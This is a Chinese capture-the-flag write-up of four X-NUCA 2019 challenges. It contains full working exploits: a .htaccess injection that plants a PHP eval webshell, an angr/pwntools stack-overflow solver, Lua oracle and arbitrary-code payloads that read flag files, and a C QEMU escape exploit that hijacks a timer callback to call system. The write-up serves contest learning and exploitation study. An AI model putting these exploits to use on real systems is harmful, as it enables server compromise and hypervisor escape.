首页 > 其他分享 >X-NUCA'2019部分题目WP

X-NUCA'2019部分题目WP

时间:2023-06-11 23:33:04浏览次数:42  
标签:return addr next write switch 2019 io WP NUCA


0x00 前言

题目质量好高,题目好评

0x01 Ezphp

题目描述

ezphp php for beginner.

hint: no race condition

题目解答

题目环境:apache+php

题目源码:

<?php 
    $files = scandir('./');  
    foreach($files as $file) { 
        if(is_file($file)){ 
            if ($file !== "index.php") { 
                unlink($file); 
            } 
        } 
    } 
    include_once("fl3g.php"); 
    if(!isset($_GET['content']) || !isset($_GET['filename'])) { 
        highlight_file(__FILE__); 
        die(); 
    } 
    $content = $_GET['content']; 
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { 
        echo "Hacker"; 
        die(); 
    } 
    $filename = $_GET['filename']; 
    if(preg_match("/[^a-z\.]/", $filename) == 1) { 
        echo "Hacker"; 
        die(); 
    } 
    $files = scandir('./');  
    foreach($files as $file) { 
        if(is_file($file)){ 
            if ($file !== "index.php") { 
                unlink($file); 
            } 
        } 
    } 
    file_put_contents($filename, $content . "\nJust one chance"); 
?>

有两次unlink,而且文件名不允许/的存在,所以想要避开unlink的删除,是基本不可能的了。

前面在内容限制了很多字符,之后查文档,发现字符几乎全部来自.htaccess.user.ini 这两个可用来getshell的方法当中,查询新的可利用字段也没有得到什么好的点子。

所以问题就又回到了对 stristr 函数过滤掉的字符的bypass上来(正则实在过不去....,也没办法把这个函数给dis掉)

所以根据码代码时的换行符以及连接符可以联想构造出如下payload来getshell

php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20var_dump(eval($_GET[1]));?>\\

X-NUCA

最终执行命令得到flag

X-NUCA

0x02 AEG

题目描述

nc 117.50.100.23 42353

增加nc 117.50.93.78 10001

hints:

1) Search the strings carefully and we see the shining target through the fog of interesting tricks.

2) we have edited some logic of the rop.

题目解答

程序有大概20个switch case,并且其中有嵌套循环,每个switch case只有一条正确出路,判断一下重复地址即可。最后有个栈溢出,覆盖地址为lea rdi,'/bin/cat flag'处执行system即可。

脚本如下:

import angr
from pwn import *
from z3 import *
import hashlib
import base64
import os
import binascii


def get_md5(s):
    m = hashlib.md5()
    m.update(s)
    return m.hexdigest()


def change_ld(binary, ld):
    """
    Force to use assigned new ld.so by changing the binary
    """
    if not os.access(ld, os.R_OK): 
        log.failure("Invalid path {} to ld".format(ld))
        return None
    if not isinstance(binary, ELF):
        if not os.access(binary, os.R_OK): 
            log.failure("Invalid path {} to binary".format(binary))
            return None
        binary = ELF(binary)
    for segment in binary.segments:
        if segment.header['p_type'] == 'PT_INTERP':
            size = segment.header['p_memsz']
            addr = segment.header['p_paddr']
            data = segment.data()
            if size <= len(ld):
                log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
                return None
            binary.write(addr, ld.ljust(size, '\0').encode('utf-8'))
            if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
            path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
            if os.access(path, os.F_OK): 
                os.remove(path)
                log.info("Removing exist file {}".format(path))
            binary.save(path)    
            os.chmod(path, 0b111000000) #rwx------
    log.success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) 
    return ELF(path)


magic_num = 0x180
def get_end(addr):
    for i in range(addr,addr+magic_num):
        #print(elf.read(i,3))
        if elf.read(i,3) == b"\x90\xc9\xc3":
            #print('find end :%s'%hex(i))
            return i
    raise('not find end!')


def get_jmp_rax(addr):
    for i in range(addr,addr-magic_num,-1):
        if elf.read(i,2) == b'\xff\xe0':
            #print('find jmp rax :%s'%hex(i))
            return i
    return None


def get_all_switch(addr):
    the_end = get_end(addr)
    the_jmp_rax = get_jmp_rax(the_end)
    res = []
    aid = 0
    for i in range(the_jmp_rax,the_end):
        ins = elf.read(i,5)
        if ins == b'\xb8'+b'\x00'*4:
            aid += 1
            next_addr = (i+10+u32(elf.read(i+6,4)))&0xffffffff
            if next_addr not in all_switch and next_addr not in all_no_use:
                node = cfg.get_any_node(next_addr)
                if node.successors[0].addr != 0x400900: #plt_exit
                    res.append((next_addr,aid))
    return res


def check(addr):
    node = cfg.get_any_node(addr)
    suc = node.successors
    if suc[0].addr == 0x4008b0: # &
        return 0
    return 1 # ^


def deal_check(addr,op=None):
    #print(hex(addr)+' '),
    if check(addr) == 0:
        #print('calc')
        num1 = ord(elf.read(addr+0x7c,1))
        num2 = ord(elf.read(addr+0x8e,1))
        num3 = ((num1*num2)&(num1+num2))&0xff
        if op == None:
            op = 0x61
        return bytes((num1,num2,num3,op,10))
    else:
        #print('random')
        data = io.recv(8)
        data = u64(data)
        print(hex(data))
        num = u64(elf.read(addr+0x29+2,8))
        print(hex(num))
        x = BitVecs('x',64)[0]
        solver = Solver()
        solver.add( ((x << 39)^num*(x >> 25)) == data )
        solver.check()
        res = solver.model()
        num = res[x]
        if op == None:
            op = 0x61
        return p64(num.as_long())+bytes((op,10))


filename = './aeg_0'


io = remote('117.50.93.78', 10001)
io.recvuntil('Start Pow\n')
the_md5 = io.recvuntil('\n',drop=True)
data = io.recvuntil('\n',drop=True)
print(data)
prefix = binascii.a2b_hex(data[:-1])
st = int(data.decode('utf-8')[-1],16)<<4
print(hex(st))
found = 0
for a in range(st,st+0x10):
    if found:
        break
    for b in range(0x100):
        if found:
            break
        for c in range(0x100):
            tmp = prefix + bytes((a,b,c))
            calc = get_md5(tmp)
            #print(type(calc))
            #print(the_md5)
            if calc == the_md5.decode('utf-8'):
                #print(binascii.b2a_hex(tmp))
                io.sendline(binascii.b2a_hex(tmp))
                found = 1
                break
if found == 0:
    print("not found hash!!")
    exit()


token = 'icqd741eeee3154b1c8fc866fe18e468'
io.sendlineafter('token:',token)
io.recvuntil('Start:\n')
binary_b64 = ''.join(io.recvuntil('End.\n',drop=True).decode('utf-8').split('\n'))
#print binary_b64
binary_b64 = base64.b64decode(binary_b64)
#print hex(len(binary_b64))
with open('aeg_0.tar.xz','wb') as f:
    f.write(binary_b64)
    f.close()
os.system('xz -d aeg_0.tar.xz;mv aeg_0.tar aeg_0;chmod +x aeg_0')


elf = ELF(filename)


p = angr.Project(filename,load_options={'auto_load_libs': False})
cfg = p.analyses.CFGFast()


aid = 0
for addr,b in cfg.kb.functions.items():
    aid += 1
    if aid == 133:
        main_addr = addr
        print('main_addr found! at %s'%hex(main_addr))
        break


aid = 0
for addr,b in cfg.kb.functions.items():
    aid += 1
    if aid >= 133:
        break
    if aid >= 18 and aid < 133:
        #print(hex(addr))
        start_node = cfg.get_any_node(addr)
        pre = start_node.predecessors
        if len(pre) > 0:
            if pre[0].addr - 0xf1 == main_addr:
                print('start_node found! at %s'%hex(start_node.addr))
                break


#tmp_elf = change_ld(filename,'./ld-2.27.so')
#io = tmp_elf.process(env={'LD_PRELOAD':'./libc.so.6'})
#context.log_level='debug'
#context.terminal = ['tmux', 'split', '-h']
#gdb.attach(io)#,"b *0x4BFB070")
#input()
#context.log_level='debug'
io.recvuntil('Start.\n')


ans = b""
tmp = deal_check(start_node.addr)
print('++++++++++++++++++')
io.send(tmp)


the_end = get_end(start_node.addr)
start_node_next = (the_end-0x11+5+u32(elf.read(the_end-0x10,4)))&0xffffffff
print('start_node_next :%s'%hex(start_node_next))


all_no_use = []
all_switch = []


all_switch.append(start_node_next)


all_next_switch = get_all_switch(start_node_next)
#print(all_next_switch)


for next_switch,switch_num in all_next_switch:
    the_end = get_end(next_switch)
    the_jmp_rax = get_jmp_rax(the_end)
    if the_jmp_rax == None:
        all_no_use.append(next_switch)
    else:
        real_next_switch = next_switch
        tmp = deal_check(start_node_next,op=0x60+switch_num)
        ans += tmp
        io.send(tmp)
all_switch.append(real_next_switch)
#print(all_switch)
#print(ans)
for i in range(18):
    all_next_switch = get_all_switch(real_next_switch)
    tmp_no_use = []
    #print(all_next_switch)
    for next_switch,switch_num in all_next_switch:
        check_next = get_all_switch(next_switch)
        if len(check_next) < 4:
            tmp_no_use.append(next_switch)
        else:
            tmp = deal_check(real_next_switch,op=0x60+switch_num)
            ans += tmp
            io.send(tmp)
            real_next_switch = next_switch
            all_switch.append(real_next_switch)
    all_no_use.extend(tmp_no_use)
    if len(all_no_use) > 3:
        all_no_use = all_no_use[-3:]
    if len(all_switch) > 3:
        all_switch = all_switch[-3:]


print(hex(real_next_switch))


all_next_switch = get_all_switch(real_next_switch)
for next_switch,switch_num in all_next_switch:
    try:
        check_next = get_all_switch(next_switch)
    except:
        tmp = deal_check(real_next_switch,op=0x60+switch_num)
        io.send(tmp)
        real_next_switch = next_switch


print(hex(real_next_switch))


context.log_level='debug'


tmp = deal_check(real_next_switch,op=0x77)
io.send(tmp)


eval_addr = cfg.get_any_node(0x400890).predecessors[0].addr
print('eval_addr :%s'%hex(eval_addr))
#print(len(ans))
#print(ans)


#io.recvuntil('Congratulation')
sleep(0.1)
io.send(p64(eval_addr)*4)
io.interactive()

0x03 ls

题目描述

there are two flags in the form of xnuca{…}. Please submit the concatenation of the two string between the brackets (brackets not included). E.g. if the first flag is xnuca{here_is_flag1}, the second flag is xnuca{here_is_flag2}, please submit: here_is_flag1here_is_flag2.

NOTICE: The following host port isn't this program's service.

nc 4438af7809b0.gamectf.com 9901

nc 55a11bac354f.gamectf.com 9901

题目解答

首先把题目逆一下,发现逻辑是非常简单的,但是二进制里面实际上带了一个lua解释器,真正需要看的是lua代码,代码就在程序里面,但是做了压缩,blzpack,搜一下就可以知道怎么解压拿到代码,我是直接等程序解压完,从内存里读出来的,一共有一万多行,关键部分如下。

-- do reverse
    if req_method == "POST" and req_headers:get("referer") == 'xnuca' then
        local cl = req_headers:get("content-length")
        local x = tonumber(stream.connection:read_body_by_length(tonumber(cl)))
        local res = (secret + x )  < (secret - 3 * x) and 1 or 0
        res_headers:upsert(":status", "201")
    res_headers:append("content-type", "text/plain")
        assert(stream:write_headers(res_headers, false))
        stream:write_chunk(tostring(res)..'\n',false)
        for i = 0,255,1
        do
            stream:write_chunk('number?'..'\n',false)
            local tmp = stream.connection:read_body_by_length(2)
            local num_of_digits = tonumber(tmp)
            if num_of_digits == -1 then break end
            local new_x = tonumber(stream.connection:read_body_by_length(num_of_digits))
            calc_oracle(new_x)
        end
        stream:write_chunk('did you get the secret?'..'\n',false,5)
        local num_of_digits = tonumber(stream.connection:read_body_by_length(2))
        stream:write_chunk('your guess?'..'\n',false,5)
        local ans = tonumber(stream.connection:read_body_by_length(num_of_digits))
        if ans == secret then
            stream:write_chunk("correct, here is your flag 1:\n")
            re_flag=io.open("flag1.txt",'r')
            tmp=re_flag:read "*a"
            stream:write_chunk(tmp)
        elseif ans > secret then
            print(secret,ans)
            stream:write_chunk("nope.")
            return 
        else
            stream:write_chunk("nope.")
            return
        end
    end


    -- do pwn
    if req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' then
        local body_length = tonumber(stream.connection:read_body_by_length(4))
        local body = stream.connection:read_body_by_length(body_length)
        -- print(cl,body)
        hex_dump(body)
        x = load(body)
        x()
        return
    end

这样看来就很明确了,先做一个逆向,猜出 secret 得一个flag,再任意代码执行,获取另一个flag。

关于逆向,需要利用lua的整数溢出特性,利用二分法来找一个临界值,进而算出可能的 secret 值,这里就比较坑了,我的方法实测成功率约20%;关于任意代码执行,也比较坑,首先需要列目录,将结果放到 work_dir 里,再去读flag文件。

此外还要写个申请docker的程序。

#https://github.com/matrix1001/welpwn
from PwnContext import *


try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')


if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))


    def crack(s):
        chrset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEF'
        for c1 in chrset:
            for c2 in chrset:
                for c3 in chrset:
                    for c4 in chrset:
                        for c5 in chrset:
                            test = c1 + c2 + c3 + c4 + c5
                            if sha256sumhex(test) == s:
                                return test
        error('fail to crack hash: {}'.format(s))


    # 申请docker
    ctx.remote = ('55a11bac354f.gamectf.com', 9901)
    
    rs('remote')
    sla('token', 'icqd741eeee3154b1c8fc866fe18e468')
    ru('== \'')
    some_hash = ru('\'')
    
    sla('is :', crack(some_hash))
    r()
    # 申请完自己填ip端口什么的


    def toluaint(i):
        i = i & 0xffffffffffffffff
        if i > 0x8000000000000000:
            return -(0x10000000000000000 - i)
        else:
            return i
    def http_packet(content, ua='test'):
        packetfmt = '''POST / HTTP/1.1\r
Content-Length: {}\r
Content-Type: text/html\r
Connection: keep-alive\r
Accept: */*\r
Referer: xnuca\r
User-Agent: {}\r
\r
{}\r
'''
        return packetfmt.format(len(content)+2, ua, content)
    
    def getresult(x):
        ctx.clean()
        length = len(hex(x))
        s(length)
        s(hex(x))
        ru('2\r\n')
        result = ru('\n')
        if result == '1':
            return True
        elif result == '0':
            return False
        else:
            error('error result:{}'.format(result))
        
        
    def crack():      
        a = 0
        min = 0x8000000000000000
        max = 0x10000000000000000
        while True:
            x = (max + min) / 2
            print('count:', a)
            #print('max:', max)
            #print('min:', min)
            #print('mid:', x)
            if (max == min+1):
                break
            if(getresult(x)):
                max = x
            else:
                min = x
            a += 1
        print('possible result from \n{}\nto\n{}\n'.format(
                    hex(toluaint(min*3)+0x8000000000000000),
                    hex(toluaint(max*3)+0x8000000000000000)))
        return hex(toluaint(min*3)+0x8000000000000000)
    
    
    ctx.remote = ('117.50.64.144', 26544)
    
    #ctx.remote = ('localhost', 8000)
    rs('remote')
    s(http_packet('1', ua='ww9210'))
    context.log_level = 'info'
    min_val = crack()
    context.log_level = 'debug'
    s(-1)
    sa('did you get the secret', len(min_val))
    sa('your guess', min_val)
    ru('\r\n')
    msg_len = int(ru('\r\n'), 16)
    
    msg = r(msg_len)
    ru('\r\n')
    if 'flag 1' in msg:
        success('get flag1')
    else:
        error('no flag1')
    flag1_len = int(ru('\r\n'), 16)
    flag1 = r(flag1_len)
    ru('\r\n')


    payload = '''
require 'lfs'
function getpaths(rootpath, pathes)
    pathes = pathes or {}
    for entry in lfs.dir(rootpath) do
        if entry ~= '.' and entry ~= '..' then
            local path = rootpath..'/'..entry
            local attr = lfs.attributes(path)
            assert(type(attr) == 'table')
            if attr.mode == 'directory' then
                getpaths(path, pathes)
            else
                table.insert(pathes, path)
            end
        end
    end
    return pathes
end


f=io.open("./work_dir/path", 'w')
pathes = {}
getpaths('.', pathes)
for i = 1, #(pathes) do
    f:write(pathes[i])
    f:write(' ')
end
f:close()
'''
    payload2 = '''
function common_copy(sourcefile,destinationfile)
  local temp_content ="";
  io.input(sourcefile)
  temp_content = io.read("*a")
  io.output(destinationfile)
  io.write(temp_content)
  io.flush()
  io.close()
end
common_copy("./flag009d9713831dca08e944ed901aede7f1.txt", "./work_dir/test")
'''
    # 这里就先发payload,等拿到flag文件名,再发payload2
    s(str(len(payload2)).ljust(4, ' '))
    s(payload2)
    ctx.recvall()

X-NUCA

X-NUCA

0x04 vexx

题目描述

user: root

pass: goodluck

Try to escape the QEMU world!

nc 35f56326858b.gamectf.com 30007

增加 nc ec3247983443.gamectf.com 30007

题目解答

利用ioport write将opaque->memorymode设为1,就可以通过设置opaque->req.offset,在vexx_cmb_write以及vexx_cmb_read函数中对opaque->req.req_buf进行越界读写,由于该buf后存在一个timer结构体,可以利用越界读获取堆地址以及程序基址。然后利用越界写将timer结构体中的cb覆盖为system地址,opaque覆盖为参数地址,最终触发timer,拿到flag:flag{SOEASY_Escape_qemu_from_timer}

Exp 如下:

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>




uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;


unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;


void die(const char* msg)
{
    perror(msg);
    exit(-1);
}


void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }


    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );


    if ( !result ) {
        return 0;
    }


    close( fd );
    return result;
}


uint8_t mmio_read(uint32_t addr)
{
    return *((uint8_t*) (mmio_mem+addr));
}


void mmio_write(uint32_t addr, uint8_t value)
{
    *( (uint32_t *) (mmio_mem+addr) ) = value;
}




uint8_t cmb_read(uint32_t addr)
{
    return *((uint8_t*) (cmb_mem+addr));
}


void cmb_write(uint32_t addr, uint8_t value)
{
    *( (uint8_t *) (cmb_mem+addr) ) = value;
}


void pmio_write(uint32_t addr, uint32_t value)
{
    outb(value,addr);
}




uint8_t pmio_read(uint32_t addr)
{
    return (uint32_t)inb(addr);
}


void set_offset(uint32_t value)
{
    pmio_write(pmio_base+0x10, value);
}


void set_memorymode(uint32_t value)
{
    pmio_write(pmio_base+0x0, value);
}


uint8_t arbitrary_read(uint32_t offset)
{


    set_offset(offset);
    return cmb_read(0x100);
}


void arbitrary_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x100, value);
}


void normal_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x0, value);
}


int main(int argc, char *argv[])
{
    //step 1 mmap /dev/mem to system, (man mem) to see the detail
    system( "mknod -m 660 /dev/mem c 1 1" );


    //step2 map the address to fd
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }


    cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );
    if ( !cmb_mem ) {
        die("mmap cmb mem failed");
    }
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");


    set_memorymode(1);
   
    uint64_t heap_addr=0,tmp;
    uint32_t i;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x40+i);
        heap_addr=heap_addr+(tmp<<(i*8));
    }
    printf("leaking heap address: 0x%lx\n",heap_addr);


    uint64_t pro_addr=0;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x38+i);
        pro_addr=pro_addr+(tmp<<(i*8));
    }
    printf("leaking pro address: 0x%lx\n",pro_addr);
    uint64_t pro_base= pro_addr-0x4DCF10;
    uint64_t system_plt=pro_base+0x2AB860;
    char *para="ls&&cat ./flag";
    
    
    for(i=0; i< strlen(para); i++) {
        normal_write(0x0+i,para[i]);
    }


    uint64_t para_addr=heap_addr+0xb90;
    for(i=0; i<8; i++) {
        arbitrary_write(0x38+i,((char*)&system_plt)[i]);
    }


    for(i=0; i<8; i++) {
        arbitrary_write(0x40+i, ((char*)¶_addr)[i]);
    }
   
    mmio_write(0x98,1);




}



标签:return,addr,next,write,switch,2019,io,WP,NUCA
From: https://blog.51cto.com/u_14601424/6459321

相关文章

  • WPF控件库之HandyControl
    HandyControl介绍HandyControl是一套WPF控件库,它几乎重写了所有原生样式,同时包含80余款自定义控件(正逐步增加)。安装使用github地址:https://github.com/HandyOrg/HandyControl官网地址:https://handyorg.github.io/......
  • 2023安洵杯web两道WP
    WebCarelessPy在首页提示存在eval和login的路由,在download存在任意文件下载访问eval可以读取目录下的文件,知道/app/pycache/part.cpython-311.pyc路径,然后使用download下载下来,进行反编译使用在线工具进行反编译,得到session的key然后对session进行伪造登录成功一看就......
  • Nginx+Jwplayer播放流媒体视频
    Nginx+Jwplayer播放流媒体视频JWPlayerisoneofthemostpopularvideoplayersontheInternet.Itisusedbymostmodern“tube”websitesforvideohosting,publishingandadvertising.ItcanbeusedasstandaloneinyourHTMLandFlashcode,orintegratedin......
  • WPF 入门笔记 - 03 - 样式基础
    ......
  • WPF控件库之Syncfusion
    参考文章:https://www.cnblogs.com/zh7791/p/14009262.htmlhttps://www.cnblogs.com/DotNeter-Hpf/p/16523758.htmlhttps://www.cnblogs.com/redmoon/p/4420942.htmlSyncfusion介绍Syncfusion提供了一个由兼容的开发人员控制套件,可嵌入的BI平台和业务软件组成的生态系统。它......
  • WPF入门教程系列二十八 ——DataGrid使用示例MVVM模式(5)
    WPF入门教程系列目录WPF入门教程系列二——Application介绍WPF入门教程系列三——Application介绍(续)WPF入门教程系列四——Dispatcher介绍WPF入门教程系列五——Window介绍WPF入门教程系列十一——依赖属性(一)WPF入门教程系列十五——WPF中的数据绑定(一)  添加Cl......
  • 用Python白嫖WPS付费功能:把PPT转为 1张 长图,1行代码搞定
    大家好,这里是程序员晚枫,小红薯也叫这个名。读者群......
  • BUGKU_PWN_OVERFLOW2_WP
    WP_OVERFLOW2 拿到程序,首先放到我们的kali里面看看是多少位的程序,然后在看看有没有什么安全属性64位程序,并且开启了RELRO,NX也就是说,这道题我们需要使用ROP绕过 使用ida64打开这个程序,对这个程序的伪代码进行分析  首先看看main函数 发现最开始定义的buf是32个字......
  • 洛谷P5322 [BJOI2019] 排兵布阵
    题目大意有s名对手,n座城堡,你有m名士兵如果一名玩家向第\(i\)座城堡派遣的士兵数严格大于对手派遣士兵数的两倍,那么这名玩家就占领了这座城堡,获得\(i\)分。求最大得分数据范围对于\(10\%\)的数据:\(s=1,n\le3,m\le10\)对于\(20\%\)的数据:\(s=1,n\le10,m\le1......
  • 给第一行单元格赋值 + WPS JS获取工作表的总行数 + WPS JS获取工作表的总行数
    戳我,了解更多相关办公的小技巧给第一行单元格赋值1、在计算机中有一种ASCII编码,其中A在计算机中的表示的数字是65,a的ascii码是97,b的ascii码是98。2、从A1到F1可以看到第一个字母在变化,第2个数字始终是1,A的ascii码是65,F的ascii码是70。3、我们定义letter=65,使letter逐渐靠......